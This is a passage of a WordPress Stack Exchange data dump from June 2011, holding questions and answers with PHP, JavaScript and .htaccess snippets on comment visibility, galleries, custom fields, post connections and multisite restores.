  <row Id="20336" PostTypeId="2" ParentId="20310" CreationDate="2011-06-18T07:23:46.680" Score="0" ViewCount="" Body="&lt;p&gt;See the &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;Query Multiple Taxonomies&lt;/a&gt; plugin for an idea.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-06-18T07:23:46.680" />
  <row Id="20337" PostTypeId="2" ParentId="20313" CreationDate="2011-06-18T07:27:55.557" Score="1" ViewCount="" Body="&lt;p&gt;By using the 'pre_get_comments' action, found in &lt;code&gt;wp-includes/comment.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function restrict_visible_comments( $comments_query ) {&#xA;    if ( !is_singular() )&#xA;        return;&#xA;&#xA;    if ( current_user_can( 'moderate_comments' ) )&#xA;        return;  // moderators can see all comments&#xA;&#xA;    if ( get_current_user_id() == get_queried_object()-&amp;gt;post_author )&#xA;        return;  // the author of the post can see all comments&#xA;&#xA;    $comments_query-&amp;gt;query_vars['user_id'] = get_current_user_id();&#xA;}&#xA;if ( !is_admin() )&#xA;    add_action( 'pre_get_comments', 'restrict_visible_comments' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the above won't display comments left by non-registered users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Nevermind, this won't work because get_comments() isn't used consistently in comments_template():&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/comment-template.php#L882&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/comment-template.php#L882&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-06-19T12:55:26.923" LastActivityDate="2011-06-19T12:55:26.923" CommentCount="9" />
  <row Id="20338" PostTypeId="2" ParentId="20313" CreationDate="2011-06-18T07:34:29.687" Score="-1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://mashable.com/2007/07/24/wordpress-comments/&quot; rel=&quot;nofollow&quot;&gt;Useful Comments Plugin&lt;/a&gt;..If you are not well known about codings means Plugin is the Easiest Way to Do that.:) I hope you got answer...:)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-18T07:34:29.687" CommentCount="3" />
  <row Id="20339" PostTypeId="1" AcceptedAnswerId="20340" CreationDate="2011-06-18T08:02:40.703" Score="1" ViewCount="82" Body="&lt;p&gt;I had an issue with a server that was serious enough to have to take it completely offline and then rebuild the os.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have gotten to the point where the new server is up and running. I have managed to get all the wordpress files and database files transfered over to the new server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason wordpress is not finding any of the images stored in the wp-content/blogs.dir/... folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I did notice is that the htaccess file was not copied over, so my best guess is because wordpress reroutes via /folders/ etc that this may be the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did take the distrubtion .htaccess file that I was able to find and added that into the site, but it is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is htaccess the problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so how do I regenerate one that will work for the multisite subdomain setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-06-18T08:29:07.930" Title="Server crashed trying to restore wordpress multisite, images are not found pls help" Tags="&lt;htaccess&gt;" AnswerCount="1" />
  <row Id="20340" PostTypeId="2" ParentId="20339" CreationDate="2011-06-18T08:29:07.930" Score="1" ViewCount="" Body="&lt;p&gt;Here is the default .htaccess generated by Wordpress for Subdomain Multisite setup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;&#xA;# uploaded files&#xA;RewriteRule ^files/(.+) wp-includes/ms-files.php?file=$1 [L]&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} -f [OR]&#xA;RewriteCond %{REQUEST_FILENAME} -d&#xA;RewriteRule ^ - [L]&#xA;RewriteRule . index.php [L]&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know If this one doesn't work for you.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-06-18T08:29:07.930" CommentCount="1" />
  <row Id="20341" PostTypeId="1" CreationDate="2011-06-18T09:21:46.567" Score="6" ViewCount="155" Body="&lt;p&gt;The default gallery structure of WordPress is really tortuous:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;gallery-1&quot; class=&quot;gallery...&quot;&amp;gt;&#xA;    &amp;lt;dl class=&quot;gallery-item&quot;&amp;gt;&#xA;        &amp;lt;dt class=&quot;gallery-icon&quot;&amp;gt;&#xA;            &amp;lt;a title=&quot;01Exam&quot; href=&quot;bar&quot;&amp;gt;&#xA;                &amp;lt;img title=&quot;then my image&quot; src=&quot;foo.jpg&quot;&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/dt&amp;gt;&#xA;    &amp;lt;/dl&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can you help me to output a simple list of images just like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;gallery-item&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;img title=&quot;then my image&quot; src=&quot;foo.jpg&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6298" LastActivityDate="2011-06-18T11:03:09.263" Title="Make a really simple gallery structure" Tags="&lt;gallery&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" />
  <row Id="20342" PostTypeId="2" ParentId="20341" CreationDate="2011-06-18T11:03:09.263" Score="4" ViewCount="" Body="&lt;p&gt;Use your own &lt;code&gt;gallery&lt;/code&gt; shortcode handler - something like this in your &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __my_gallery_shortcode( $attr )&#xA;{&#xA;     // render the gallery the way you want it&#xA;}&#xA;add_shortcode( 'gallery', '__my_gallery_shortcode' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get you started, you could just copy the code from the &lt;a href=&quot;http://wpseek.com/source/wp/latest/wp-includes/media.php.source.html#l747&quot; rel=&quot;nofollow&quot;&gt;default handler &lt;code&gt;gallery_shortcode()&lt;/code&gt;&lt;/a&gt;, and edit as you require.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-18T11:03:09.263" CommentCount="1" />
  <row Id="20343" PostTypeId="1" AcceptedAnswerId="20354" CreationDate="2011-06-18T11:16:00.027" Score="0" ViewCount="90" Body="&lt;p&gt;I'm using Posts 2 Posts plugin. I've got 2 custom types : movies and actors. I created a movie =&gt; actor connection so that for each movie I can see which actors play in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as far as I understand, in order to find out all the movies a particular actor has played in, you must create an actor =&gt; movie connection AS WELL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if create a The Dark Knight =&gt; Christian Bale connection, I MUST create a Christian Bale =&gt; The Dark Knight as well. Because otherwise I won't be able to know that Christian Bale played in that movie based on a &quot;Christian Bale&quot; search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that correct ? If so, is there any way to make it less burdensome ?&lt;/p&gt;&#xA;" OwnerUserId="5915" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-18T16:17:30.730" LastActivityDate="2011-06-18T16:17:30.730" Title="[Plugin: Posts 2 Posts] reciprocal connections" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="20344" PostTypeId="2" ParentId="1794" CreationDate="2011-06-18T11:16:25.373" Score="1" ViewCount="" Body="&lt;p&gt;Might me too late, but this is another great solution: &lt;a href=&quot;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/p/meta-box-script-for-wordpress.html&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use it instead of WPAlchemey Class, it should be more easier.&lt;/p&gt;&#xA;" OwnerUserId="6300" LastActivityDate="2011-06-18T11:16:25.373" />
  <row Id="20345" PostTypeId="1" AcceptedAnswerId="20346" CreationDate="2011-06-18T11:47:52.297" Score="1" ViewCount="97" Body="&lt;p&gt;I'm doing up a blog at the moment where each post is accompanied by the name of a song. Adding the songs to the posts is fairly easily done via custom fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I also need to have a page which lists all the songs in one place. Can this be done without using a plugin? If so, how? (And if not, then what's the best plugin to use to do it?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2666" LastActivityDate="2011-06-19T21:06:29.973" Title="Populating a page with content from post custom fields" Tags="&lt;posts&gt;&lt;custom-field&gt;&lt;page&gt;&lt;list&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" />
  <row Id="20346" PostTypeId="2" ParentId="20345" CreationDate="2011-06-18T12:38:39.973" Score="3" ViewCount="" Body="&lt;p&gt;I suggest using shortcode, as this'll easily allow you embed the song list anywhere in your content, in any page or post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I got a little carried away, and ended up with this!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function song_list_shortcode( $attrs )&#xA;{&#xA;    $r = ( object )wp_parse_args( $attrs, array(&#xA;        'format' =&amp;gt; '%post_title - %link',&#xA;        'link'   =&amp;gt; '%song_key_name',&#xA;        'key'    =&amp;gt; 'song_key_name'&#xA;    ) );&#xA;&#xA;    $query = new WP_Query( array( 'meta_query' =&amp;gt; array( array( 'key' =&amp;gt; $r-&amp;gt;key ) ), 'nopaging' =&amp;gt; true, 'update_post_term_cache' =&amp;gt; false ) );&#xA;    if ( !$query-&amp;gt;have_posts() )&#xA;        return '';&#xA;&#xA;    $meta_keys = array();&#xA;    foreach ( array( 'format', 'link' ) as $type ) {&#xA;        // find meta keys&#xA;        if ( !preg_match_all( '#%([a-z0-9_-]+)#', $r-&amp;gt;$type, $_keys ) )&#xA;            continue;&#xA;&#xA;        $_keys = array_flip( $_keys[1] );&#xA;        unset( $_keys['post_title'], $_keys['link'] ); // don't want these, not meta keys&#xA;&#xA;        $meta_keys = $meta_keys + $_keys; // add new keys on to meta key stack&#xA;    }&#xA;&#xA;    if ( !empty( $meta_keys ) )&#xA;        $meta_keys = array_keys( $meta_keys );&#xA;&#xA;    $output = '&amp;lt;ul class=&quot;songs&quot;&amp;gt;';&#xA;    while ( $query-&amp;gt;have_posts() ) {&#xA;        $query-&amp;gt;the_post();&#xA;&#xA;        $format = $r-&amp;gt;format;&#xA;        $link = $r-&amp;gt;link;&#xA;&#xA;        if ( !empty( $meta_keys ) ) {&#xA;            // grab all meta data in one swoop (should be cached from query)&#xA;            $meta_data = get_post_custom( $query-&amp;gt;post-&amp;gt;ID );&#xA;&#xA;            // swap out all meta key names with their actual value!&#xA;            foreach ( $meta_keys as $key ) {&#xA;&#xA;                // using get_post_custom(), all meta data values are arrays&#xA;                if ( isset( $meta_data[ $key ][0] ) )&#xA;                    $value = esc_html( $meta_data[ $key ][0] );&#xA;                else&#xA;                    $value = ''; // meta key not found, so replace with blank&#xA;&#xA;                list( $format, $link ) = str_replace( &quot;%$key&quot;, $value, array( $format, $link ) );&#xA;            }&#xA;        }&#xA;&#xA;        // swap out %post_title with actual post title&#xA;        list( $format, $link ) = str_replace( '%post_title', get_the_title(), array( $format, $link ) );&#xA;&#xA;        // swap out %link in $format with actual $link&#xA;        $output .= '&amp;lt;li&amp;gt;' . str_replace( '%link', '&amp;lt;a href=&quot;' . get_permalink() . '&quot;&amp;gt;' . $link . '&amp;lt;/a&amp;gt;', $format ) . '&amp;lt;/li&amp;gt;';&#xA;    }&#xA;&#xA;    wp_reset_postdata();&#xA;&#xA;    $output .= '&amp;lt;/ul&amp;gt;';&#xA;    return $output;&#xA;}&#xA;add_shortcode( 'song-list', 'song_list_shortcode' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use it like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[song-list format=&quot;%post_title - %link - %song_date_meta_key&quot;]&#xA;// The post title - &amp;lt;a href=&quot;/post/&quot;&amp;gt;Song Name&amp;lt;/a&amp;gt; - Song Date&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See how using &lt;code&gt;%&lt;/code&gt; indicates a meta key, which'll get swapped out with the value at run-time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that &lt;code&gt;%post_title&lt;/code&gt; and &lt;code&gt;%link&lt;/code&gt; are two special parameters that get swapped with the post title and anchor link, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also format the contents of the link text in the same way;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[song-list link=&quot;Date: %song_date_meta_key&quot;]&#xA;// Post Title &amp;lt;a href=&quot;/post/&quot;&amp;gt;Date: Song Date&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, the &lt;code&gt;key&lt;/code&gt; attribute controls which posts are retrieved.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[song-list key=&quot;song_name&quot;]&#xA;// Retrieves all posts with the meta key 'song_name'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd recommend replacing the hard-coded defaults at the beginning of the function with your most often used parameters.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-19T21:06:29.973" LastActivityDate="2011-06-19T21:06:29.973" CommentCount="11" />
  <row Id="20347" PostTypeId="1" CreationDate="2011-06-18T13:09:05.030" Score="2" ViewCount="80" Body="&lt;p&gt;How to make a post visible to only:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The post author, irrespective of its user role.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;All users from a specific user role.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Other then these, no one should be able to see the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I approach this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I have only three user roles in WP. Admin, and 2 other custom roles.&lt;/p&gt;&#xA;" OwnerUserId="6291" LastActivityDate="2011-06-18T14:29:36.460" Title="Post visibility on the basis of roles" Tags="&lt;posts&gt;" AnswerCount="2" />
  <row Id="20348" PostTypeId="1" CreationDate="2011-06-18T13:37:44.640" Score="-1" ViewCount="97" Body="&lt;p&gt;I'm using this code here to grab all my custom fields from a post for use in an gallery array. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.kevinleary.net/get-all-custom-fields-attached-post-page-post-type/&quot; rel=&quot;nofollow&quot;&gt;http://www.kevinleary.net/get-all-custom-fields-attached-post-page-post-type/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;function:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//  Get all custom fields attached to a page&#xA;if ( !function_exists('base_get_all_custom_fields') ) {&#xA;function base_get_all_custom_fields()&#xA;{&#xA;    global $post;&#xA;    $custom_fields = get_post_custom($post-&amp;gt;ID);&#xA;    $hidden_field = '_';&#xA;    foreach( $custom_fields as $key =&amp;gt; $value ){&#xA;        if( !empty($value) ) {&#xA;            $pos = strpos($key, $hidden_field);&#xA;            if( $pos !== false &amp;amp;&amp;amp; $pos == 0 ) {&#xA;                unset($custom_fields[$key]);&#xA;            }&#xA;        }&#xA;    }&#xA;    return $custom_fields;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;single.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get all custom fields attached to this post and store them in an array&#xA;$custom_fields = base_get_all_custom_fields();&#xA;if( !empty($custom_fields) ) {&#xA;print_r($custom_fields);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works, but outputs text like this around the custom post &lt;code&gt;Array ( [photo1] =&amp;gt; Array ( [0] =&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to customise what you wrap before &amp;amp; after a custom field output, and remove the array text?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to achieve is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{image : 'http://website.com/slides/photo1.jpg'}, &#xA;{image : 'http://website.com/slides/photo2.jpg'},  &#xA;{image : 'http://website.com/slides/photo3.jpg'}, &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so I need to wrap &lt;code&gt;{image : '&lt;/code&gt; before and &lt;code&gt;'},&lt;/code&gt; after the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can sort of do it with single queries but the array system would be better&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{image : '&amp;lt;?php echo $custom_fields['photo1'][0]; ?&amp;gt;'},&#xA;{image : '&amp;lt;?php echo $custom_fields['photo2'][0]; ?&amp;gt;'},&#xA;{image : '&amp;lt;?php echo $custom_fields['photo3'][0]; ?&amp;gt;'},&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6078" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-18T16:10:15.943" LastActivityDate="2011-06-18T16:10:15.943" Title="wrap text around custom fields array" Tags="&lt;custom-field&gt;&lt;post-meta&gt;" AnswerCount="2" />
  <row Id="20349" PostTypeId="2" ParentId="20347" CreationDate="2011-06-18T14:23:27.790" Score="2" ViewCount="" Body="&lt;p&gt;Give your custom roles the capability to &quot;read_member_posts&quot; or whatever.  Then you could apply a filter to the_content()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'my_wpse20347_filter' );&#xA;&#xA;function my_wpse20347_filter( $content )&#xA;{&#xA;    global $post;&#xA;    if( author_can( $post-&amp;gt;ID, 'edit_posts' ) || current_user_can( 'read_member_posts' ) )&#xA;    {&#xA;       return $content;&#xA;    }&#xA;    else&#xA;    {  // Everyone else sees this in place of the content.&#xA;       return '&amp;lt;p&amp;gt;Only members may view this post&amp;lt;/p&amp;gt;';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-06-18T14:23:27.790" />
  <row Id="20350" PostTypeId="2" ParentId="20348" CreationDate="2011-06-18T14:24:48.590" Score="3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;if( !empty($custom_fields) ) {&#xA;    $output = '';&#xA;    foreach( $custom_fields as $key =&amp;gt; $value ){&#xA;        foreach( $value as $val ){&#xA;            $output .= &quot;{&quot;.$key.&quot; : '&quot;.$val.&quot;'},&quot;;&#xA;        }&#xA;    }&#xA;    echo $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-18T14:24:48.590" CommentCount="6" />
  <row Id="20351" PostTypeId="2" ParentId="20348" CreationDate="2011-06-18T14:25:25.823" Score="0" ViewCount="" Body="&lt;p&gt;I'm not really sure about what you're asking, but as far as i understood you're trying to get some &lt;em&gt;&quot;stuff&quot;&lt;/em&gt; before/after every custom field value? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Has to be placed in your functions.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse20348_custom_field_output( $echo = false )&#xA;{&#xA;    $custom_fields = base_get_all_custom_fields();&#xA;&#xA;    if ( empty( $custom_fields ) ) &#xA;        return;&#xA;&#xA;    $output = '';&#xA;&#xA;    $prefix = '{image : ';&#xA;    $suffix = '}';&#xA;&#xA;    foreach ( $custom_fields as $key =&amp;gt; $field )&#xA;    {&#xA;        $output .= $prefix.$field.$suffix;&#xA;    }&#xA;&#xA;    if ( $echo === false )&#xA;        return $output;&#xA;&#xA;    return print $output;&#xA;}&#xA;// Call it like this in your theme:&#xA;wpse20348_custom_field_output( true );&#xA;&#xA;// or save it for further processing:&#xA;$wpse_custom_fields = wpse20348_custom_field_output();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It might be that you need to change &lt;code&gt;$prefix&lt;/code&gt; to your needs. It might also be that you need to append &lt;code&gt;[0]&lt;/code&gt; to &lt;code&gt;$field&lt;/code&gt; inside the &lt;code&gt;foreach&lt;/code&gt; loop.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-18T16:08:37.800" LastActivityDate="2011-06-18T16:08:37.800" CommentCount="9" />
  <row Id="20352" PostTypeId="2" ParentId="20347" CreationDate="2011-06-18T14:29:36.460" Score="1" ViewCount="" Body="&lt;p&gt;We already got a plugin in the &lt;a href=&quot;http://wordpress.stackexchange.com/questions/18459/wpse-plugin-repository-the-plugins-that-came-out-of-wp-answers/18549#18549&quot;&gt;WPSE Plugin Repository&lt;/a&gt; written by BAinternet, that does exactly that.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-18T14:29:36.460" CommentCount="3" />
  <row Id="20353" PostTypeId="2" ParentId="20343" CreationDate="2011-06-18T14:45:13.223" Score="5" ViewCount="" Body="&lt;p&gt;No, you shouldn't need one each way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can query on either direction of the one connection, so something like this would get you all actors in Dark Knight:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$actors = new WP_Query( array(&#xA;  'post_type' =&amp;gt; 'actors',&#xA;  'connected_from' =&amp;gt; $dark_knights_post_id,&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this would get you all movies that Christian Bale has been in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bale_movies = new WP_Query( array(&#xA;  'post_type' =&amp;gt; 'movies',&#xA;  'connected_to' =&amp;gt; $christian_bales_post_id,&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read more &lt;a href=&quot;https://github.com/scribu/wp-posts-to-posts/wiki&quot; rel=&quot;nofollow&quot;&gt;on the plugin's documentation page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-06-18T14:45:13.223" CommentCount="3" />
  <row Id="20354" PostTypeId="2" ParentId="20343" CreationDate="2011-06-18T14:46:12.217" Score="4" ViewCount="" Body="&lt;p&gt;To see connections on both edit screens, set &lt;code&gt;reciprocal&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;, but note this is for the UI only, it doesn't affect connections otherwise.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_connection_types() {&#xA;    if ( !function_exists( 'p2p_register_connection_type' ) )&#xA;        return;&#xA;&#xA;    p2p_register_connection_type( array( &#xA;        'from' =&amp;gt; 'movies',&#xA;        'to' =&amp;gt; 'actors',&#xA;        'reciprocal' =&amp;gt; true&#xA;    ) );&#xA;}&#xA;add_action( 'init', 'my_connection_types', 100 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-18T14:46:12.217" CommentCount="1" />
  <row Id="20355" PostTypeId="2" ParentId="20332" CreationDate="2011-06-18T15:05:57.627" Score="1" ViewCount="" Body="&lt;p&gt;I think you're running into a problem people mentioned in the comments to that story. Someone else posted about it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.theenglishguy.co.uk/2010/01/24/multiple-media-uploads-in-wordpress-functions-php/&quot; rel=&quot;nofollow&quot;&gt;http://www.theenglishguy.co.uk/2010/01/24/multiple-media-uploads-in-wordpress-functions-php/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the JavaScript from that site should be modified to be more like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;&#xA;  var formlabel = 0;&#xA;  var old_send_to_editor = window.send_to_editor;&#xA;  var old_tb_remove = window.tb_remove;&#xA;&#xA;  jQuery('.upload_image_button').click(function(){&#xA;    formlabel = jQuery(this).parent();&#xA;    tb_show('', 'media-upload.php?type=image&amp;amp;TB_iframe=true');&#xA;    return false;&#xA;  });&#xA;&#xA;  window.tb_remove = function() {&#xA;    formlabel = 0;&#xA;    old_tb_remove();&#xA;  }&#xA;&#xA;  window.send_to_editor = function(html) {&#xA;    if(formlabel){&#xA;      imgurl = jQuery('img',html).attr('src');&#xA;      formlabel.find('input[type=&quot;text&quot;]').value(imgurl);&#xA;      tb_remove();&#xA;    } else {&#xA;      old_send_to_editor();&#xA;    }&#xA;  }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From there, all you need to do is make sure all the buttons have the class &lt;code&gt;'upload_image_button'&lt;/code&gt;, and make sure the button is a sibling to its corresponding text box and there are no other upload forms in the same parent element.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-06-18T15:05:57.627" CommentCount="1" />
  <row Id="20356" PostTypeId="1" CreationDate="2011-06-18T15:07:02.947" Score="1" ViewCount="66" Body="&lt;p&gt;I'm building a catalog of publications for a Research Center with &lt;a href=&quot;http://wordpress.org/extend/plugins/dukapress/&quot; rel=&quot;nofollow&quot;&gt;DukaPress plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cea3.iscte.pt/publicacoes/occasional-paper-series/&quot; rel=&quot;nofollow&quot;&gt;http://cea3.iscte.pt/publicacoes/occasional-paper-series/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some publications are available for order, others are just downloaded for free and some are available through the publishers (we just provide a link to them). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that when there is no price defined, the product does not appear in the grid display. I need the latter two types of publications to appear even with no price, and without the “Add to cart” button. Does anyone know where can I hack this?&#xA;Or, what can be my best solution here?&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="2816" LastEditorUserId="2816" LastEditorDisplayName="" LastEditDate="2011-06-20T23:20:27.780" LastActivityDate="2011-06-20T23:20:27.780" Title="[Plugin: DukaPress] Modifying template output" Tags="&lt;plugins&gt;&lt;template&gt;" CommentCount="4" />
  <row Id="20357" PostTypeId="2" ParentId="4763" CreationDate="2011-06-18T15:40:49.903" Score="0" ViewCount="" Body="&lt;p&gt;Here is a good article about the best practices in building and selecting a regressin pack&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.testingexcellence.com/best-practices-for-regression-testing/&quot; rel=&quot;nofollow&quot;&gt;Best Practices for Regression Testing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6301" LastActivityDate="2011-06-18T15:40:49.903" CommunityOwnedDate="2011-06-18T15:40:49.903" CommentCount="1" />
  <row Id="20359" PostTypeId="2" ParentId="20310" CreationDate="2011-06-18T15:52:04.130" Score="0" ViewCount="" Body="&lt;p&gt;Check out my answer on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16393/show-certain-terms-from-custom-taxonomy-but-exclude-parent-terms/16795#16795&quot;&gt;how to get terms that are associated with others through the posts that they're attached to&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, you could put it into practice like so;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$category_IDs = get_terms_soft_associated( 'category', array(&#xA;    'taxonomy' =&amp;gt; 'post_tag',&#xA;    'field'    =&amp;gt; 'slug',&#xA;    'terms'    =&amp;gt; 'audio'&#xA;) );&#xA;&#xA;wp_list_categories( array( 'include' =&amp;gt; $category_IDs ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or for a more general-purpose approach, use a function;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * List categories for posts that have $tag.&#xA; * &#xA; * @param string|int|object $tag Tag slug, ID or object&#xA; * @param string|array $args Args to pass to {@see wp_list_categories()}&#xA; * @return string&#xA; */&#xA;function list_categories_with_tag( $tag, $args = '' )&#xA;{   